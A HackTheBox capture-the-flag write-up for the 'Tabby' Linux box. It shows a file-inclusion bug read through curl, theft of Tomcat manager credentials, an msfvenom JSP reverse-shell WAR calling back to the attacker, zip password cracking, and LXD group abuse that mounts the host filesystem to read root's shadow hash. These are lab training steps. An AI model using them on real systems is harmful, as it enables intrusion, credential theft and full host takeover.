Tabby - Write-up - HackTheBox

noraj

2020-11-07

Contents

1 Information

READ THE WU ONLINE: https://blog.raw.pm/en/HackTheBox-Tabby-write-up/

1.1 Box

- **Name:** Tabby
- **Profile:** www.hackthebox.eu
- **Difficulty:** Easy
- **OS:** Linux
- **Points:** 20

Tabby

OS: Linux

Difficulty: Easy

Points: 20

Release: 20 Jun 2020

IP: 10.10.10.194

Figure 1.1: Tabby

2 Write-up

2.1 Overview

Install tools used in this WU on BlackArch Linux:

```
$ pacman -S nmap ffuf curl metasploit pwncat peass fcrackzip
```

2.2 Network enumeration

Port and service discovery scan with nmap:

```
# Nmap 7.80 scan initiated Sat Aug  8 13:09:36 2020 as: nmap -p- -sSVC -oA nmap_full -v
↪  10.10.10.194
Increasing send delay for 10.10.10.194 from 0 to 5 due to 649 out of 2162 dropped probes since
↪  last increase.
Nmap scan report for 10.10.10.194
Host is up (0.032s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  8 13:28:24 2020 -- 1 IP address (1 host up) scanned in 1127.63 seconds
```

2.3 HTTP enumeration

Let's start with the website on port 80 and do a bunch of directory busting with ffuf:

```
$ ffuf -u http://10.10.10.194/FUZZ -r -c -w
↪  ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e
↪  .txt,.html,.php -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.194/FUZZ
 :: Wordlist         : FUZZ:
↪  /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Extensions       : .txt .html .php
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

index.php               [Status: 200, Size: 14175, Words: 2135, Lines: 374]
news.php                [Status: 200, Size: 0, Words: 1, Lines: 1]
.                       [Status: 200, Size: 14175, Words: 2135, Lines: 374]
:: Progress: [153068/153068] :: Job [1/1] :: 773 req/sec :: Duration: [0:03:18] :: Errors: 0
↪  ::
```

Let's try to do something with `news.php`.

If we check the menu on the main page, we can see that NEWS have the following link: http://megahosting.htb/news.php?file=statement

Let's add the local domain entries:

```
$ cat /etc/hosts| grep 194
10.10.10.194 tabby.htb
10.10.10.194 megahosting.htb
```

The link does look like LFI vulnerable.

2.4 HTTP exploitation: LFI

Let’s confirm the LFI:

```
$ curl http://megahosting.htb/news.php\?file\=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
```

We can also read the source code of this page: http://megahosting.htb/news.php?file=../news.php

```php
<?php
$file = $_GET['file'];
$fh = fopen("files/$file","r");
while ($line = fgets($fh)) {
  echo($line);
}
fclose($fh);
?>
```

Let's try to access the tomcat manager of the Tomcat server on prot 8080: http://10.10.10.194:8080/manager/html

No luck with default credentials, but since we have a LFI we may try to read the configuration file.

Let's check on which OS we are before.

```
$ curl 'http://megahosting.htb/news.php?file=../../../../../../../etc/os-release'
NAME="Ubuntu"
VERSION="20.04 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
```

If we search the tomcat package for Ubuntu focal (20.04) we find it's in version 9.

PS: http://megahosting.htb:8080/ also discloses the tomcat version.

The config file storing the manager credentials is `$CATALINA_HOME/conf/tomcat-users.xml`.

On Ubuntu `$CATALINA_HOME` = `/usr/share/tomcat{x}` where `{x}` is the version of tomcat eg. 7, 8, 9, etc. Also the config folder is `/etc/tomcat{x}`.

But `/etc/tomcat{x}` may be for older versions only.

Let's check the files list for `tomcat9` for ubuntu: https://packages.ubuntu.com/focal/all/tomcat9/filelist

```
/etc/cron.daily/tomcat9
/etc/rsyslog.d/tomcat9.conf
/etc/tomcat9/policy.d/01system.policy
/etc/tomcat9/policy.d/02debian.policy
/etc/tomcat9/policy.d/03catalina.policy
/etc/tomcat9/policy.d/04webapps.policy
/etc/tomcat9/policy.d/50local.policy
/lib/systemd/system/tomcat9.service
/usr/lib/sysusers.d/tomcat9.conf
/usr/lib/tmpfiles.d/tomcat9.conf
/usr/libexec/tomcat9/tomcat-start.sh
/usr/libexec/tomcat9/tomcat-update-policy.sh
/usr/share/doc/tomcat9/README.Debian
/usr/share/doc/tomcat9/changelog.Debian.gz
/usr/share/doc/tomcat9/copyright
```

```
/usr/share/tomcat9-root/default_root/META-INF/context.xml
/usr/share/tomcat9-root/default_root/index.html
/usr/share/tomcat9/default.template
/usr/share/tomcat9/etc/catalina.properties
/usr/share/tomcat9/etc/context.xml
/usr/share/tomcat9/etc/jaspic-providers.xml
/usr/share/tomcat9/etc/logging.properties
/usr/share/tomcat9/etc/server.xml
/usr/share/tomcat9/etc/tomcat-users.xml
/usr/share/tomcat9/etc/web.xml
/usr/share/tomcat9/logrotate.template
/var/lib/tomcat9/conf
/var/lib/tomcat9/logs
/var/lib/tomcat9/work
```

So it's seems ubuntu mapped the files differently than the apache defaults, so it won't be `$TOMCAT_HOME/conf/tomcat-users.xml` but `$TOMCAT_HOME/etc/tomcat-users.xml`.

```
$ curl
↪  'http://megahosting.htb/news.php?file=../../../../../../../usr/share/tomcat9/etc/tomcat-
↪  users.xml'
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
```

```
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
```

We can connect with `tomcat` / `$3cureP4s5w0rd123!` to http://megahosting.htb:8080/manager/html

The manager interface seems to be enabled only on localhost but we may upload files without it.

We can download `server.xml` http://megahosting.htb/news.php?file=../../../../../../../usr/share/tomcat9/etc/server.x

```
...
      <Host name="localhost"  appBase="webapps"
            unpackWARs="true" autoDeploy="true">
...
```

So it's accessible only from localhost but will unpack WARs and auto deploy them.

By reading `web.xml` we can see that `.jsp` are allowed.

Now it's time to read documentation!

2.5 HTTP exploitation: File upload & RCE

Let's see the Supported Manager Commands.

> All commands that the Manager application knows how to process are specified in a single request URI like this:
>
> `http://{host}:{port}/manager/text/{command}?{parameters}`
>
> where {host} and {port} represent the hostname and port number on which Tomcat is running, {command} represents the Manager command you wish to execute, and {parameters} represents

> the query parameters that are specific to that command. In the illustrations below, customize the host and port appropriately for your installation.
>
> The commands are usually executed by HTTP GET requests. The /deploy command has a form that is executed by an HTTP PUT request.

Then we can read **Deploy A New Application Archive (WAR) Remotely**.

> `http://localhost:8080/manager/text/deploy?path=/foo`
>
> Upload the web application archive (WAR) file that is specified as the request data in this HTTP PUT request, install it into the appBase directory of our corresponding virtual host, and start, deriving the name for the WAR file added to the appBase from the specified path. The application can later be undeployed (and the corresponding WAR file removed) by use of the /undeploy command.
>
> This command is executed by an HTTP PUT request.

Let’s craft a WAR reverse shell.

```
$ msfvenom --list payloads | grep -i jsp
    java/jsp_shell_bind_tcp                             Listen for a connection and spawn a
↪   command shell
    java/jsp_shell_reverse_tcp                          Connect back to attacker and spawn a
↪   command shell

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.49 LPORT=9999 -f war > revshell.war
```

```
$ curl -X PUT -u 'tomcat':'$3cureP4s5w0rd123!' -T revshell.war
↪   'http://tabby.htb:8080/manager/text/deploy?path=/noraj'
OK - Deployed application at context path [/noraj]
```

Now the http://megahosting.htb:8080/noraj/.

Let’s start a listener with pwncat.

```
$ pwncat -l 9999 -vv
INFO: Listening on :::9999 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.194:39776 (family 2/IPv4, TCP)
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$
```

2.6 System enumeration

With linpeas we can find a backup file:

```
[+] Backup files?
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip
```

```
tomcat@tabby:/var/www/html$ ls
ls
assets  favicon.ico  files  index.php  logo.png  news.php  Readme.txt
tomcat@tabby:/var/www/html$ ls -lhA files
ls -lhA files
total 28K
-rw-r--r-- 1 ash  ash  8.6K Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 archive
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6.4K Jun 16 11:25 statement
```

It password protected, lets' crack it with `fcrackzip`:

```
$ fcrackzip -D -p /usr/share/wordlists/password/rockyou.txt files/16162020_backup.zip
possible pw found: admin@it ()

$ unzip 16162020_backup.zip
Archive:  16162020_backup.zip
   creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:
  inflating: var/www/html/favicon.ico
   creating: var/www/html/files/
  inflating: var/www/html/index.php
 extracting: var/www/html/logo.png
  inflating: var/www/html/news.php
  inflating: var/www/html/Readme.txt
```

2.7 Elevation of Privilege (EoP): tomcat to ash

Since the backup file was owned by ash we can try to re-use the archive password for ash account:

```
tomcat@tabby:/var/lib/tomcat9$ su ash
Password: admin@it

ash@tabby:/var/lib/tomcat9$

ash@tabby:~$ cat user.txt
13a5665425216a6a5a14fbd8aab23b93
```

2.8 Elevation of Privilege (EoP): ash to root

ash is in adm and lxd groups:

```
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
```

lxc - Privilege escalation

Prepare distrobuilder:

```
$ sudo pacman -S go debootstrap rsync gnupg squashfs-tools git --needed
$ go get -d -v github.com/lxc/distrobuilder/distrobuilder
$ cd $HOME/go/src/github.com/lxc/distrobuilder
$ make
$ cd
```

Prepare and build an image:

```
$ mkdir -p $HOME/ContainerImages/alpine/
$ cd $HOME/ContainerImages/alpine/
$ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
$ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

# or

$ mkdir -p $HOME/ContainerImages/voidlinux/
$ cd $HOME/ContainerImages/voidlinux/
$ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/voidlinux.yaml
$ sudo $HOME/go/bin/distrobuilder build-lxd voidlinux.yaml
```

Then, upload to the server the files `lxd.tar.xz` and `rootfs.squashfs`:

```
$ ruby -run -e httpd . -p 8888
[2020-08-09 15:40:46] INFO  WEBrick 1.6.0
[2020-08-09 15:40:46] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-08-09 15:40:46] INFO  WEBrick::HTTPServer#start: pid=43919 port=8888
```

Then on the target download & add the image:

```
$ wget http://10.10.14.76:8888/lxd.tar.xz
$ wget http://10.10.14.76:8888/rootfs.squashfs
$ lxc image import lxd.tar.xz rootfs.squashfs --alias voidlinux
$ lxc image list
```

Create a container and add root path:

```
$ lxc init voidlinux noraj -c security.privileged=true
$ lxc list
$ lxc config device add noraj host-root disk source=/ path=/mnt/root recursive=true
```

Execute the container:

```
$ lxc start noraj
$ lxc exec noraj /bin/sh
$ cd /mnt/root
```

Loot:

```
# cat /mnt/root/root/root.txt
3b89a121fa4338f7835fedb1f62b8cdc
# cat /mnt/root/etc/shadow | grep root
root:$6$86Nxy4plrFeu0w4C$IfFB5j7BEbjBrUOtkmxyfUZ0lnNIxAcFn3meuvjGqFPSIogXynKx9FU1w3XJIC60rvwuKcg6feaeBqcNWMO0H
```